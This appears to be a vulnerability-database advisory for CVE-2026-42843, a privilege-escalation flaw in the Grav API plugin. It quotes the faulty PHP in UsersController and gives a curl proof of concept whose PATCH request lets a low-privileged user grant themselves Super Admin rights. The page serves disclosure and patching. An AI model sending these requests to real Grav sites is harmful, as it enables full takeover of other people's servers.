🛡️ CVE-2026-42843 — grav-plugin-api

🟠 CVSS 8.8 — High ✅ No Known Exploit CWE-863 NVD
8.8
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Grav API Privilege Escalation to Super Admin

Summary

An insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE.

Details

The vulnerability is located in user/plugins/api/classes/Api/Controllers/UsersController.php within the update method.

The API allows users to update their own profiles if they possess the basic api.access permission:

```php

// UsersController.php -> update()

$isSelf = $currentUser->username === $username;

if (!$isSelf) {

$this->requirePermission($request, 'api.users.write');

} else {

// Self-edit only requires api.access

$this->requirePermission($request, 'api.access');

}

```

However, when filtering the fields that are allowed to be updated via a PATCH request, the access field (which defines the user's role and permissions) is indiscriminately included in the $allowedFields whitelist for all users:

```php

// Partial update - only update provided fields

$allowedFields = ['email', 'fullname', 'title', 'state', 'language', 'content_editor', 'access', 'twofa_enabled'];

foreach ($allowedFields as $field) {

if (array_key_exists($field, $body)) {

$user->set($field, $body[$field]);

}

}

```

Because there is no secondary check to verify if the user attempting to modify the access field is already an administrator, any low-privileged user can overwrite their own access object with a malicious payload granting themselves super: true.

PoC

1. Prerequisites: You need a low-privileged user account (eg. user1) that possesses the basic api.access permission.

2. Obtain JWT: Authenticate to the API to obtain your access_token:

```bash

curl -X POST http://<target>/api/v1/auth/token \

-H "Content-Type: application/json" \

-d '{"username":"user1","password":"your_password"}'

```

3. Exploit: Send a PATCH request to the user update endpoint.

```bash

curl -X PATCH http://<target>/api/v1/users/user1 \

-H "X-API-Token: <your_access_token>" \

-H "Content-Type: application/json" \

-d "{\"access\":{\"admin\":{\"login\":true,\"super\":true},\"api\":{\"access\":true,\"super\":true},\"site\":{\"login\":true}}}"

```

4. Verification: Log in to the Grav Admin panel using the user credentials. You will now have full Super Administrator privileges.

Impact

This is a vertical Privilege Escalation vulnerability. Any user with baseline API access can elevate themselves to Super Admin. Once Super Admin privileges are obtained, the attacker takes complete control over the CMS. They can modify content, alter configurations, upload malicious plugins, or edit Twig templates outside of the sandbox to achieve RCE on the server.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

Weakness class

CVE-2026-42843 is classified as CWE-863: Incorrect Authorization. An authorisation check runs but reaches the wrong conclusion, permitting actions it should refuse.

Affected software

CVE-2026-42843 is recorded against 3 packages.

  • getgrav/grav-plugin-api (fixed in 1.0.0-beta.15)
  • grav-plugin-api
  • unknown

Timeline and source

Published on 5 May 2026 and last revised on 13 May 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)

Details

Severity HIGH
CVSS Score 8.8
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-863
Public Exploit ✅ No
Source NVD
Published 2026-05-05
Updated 2026-08-12
Modified 2026-05-13
Fix URL N/A

Affected Packages

Software From version Fixed in
getgrav/grav-plugin-api 1.0.0-beta.15
grav-plugin-api
unknown

Site Security Check

Is grav-plugin-api part of your stack?

CVE-2026-42843 is rated CVSS 8.8 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.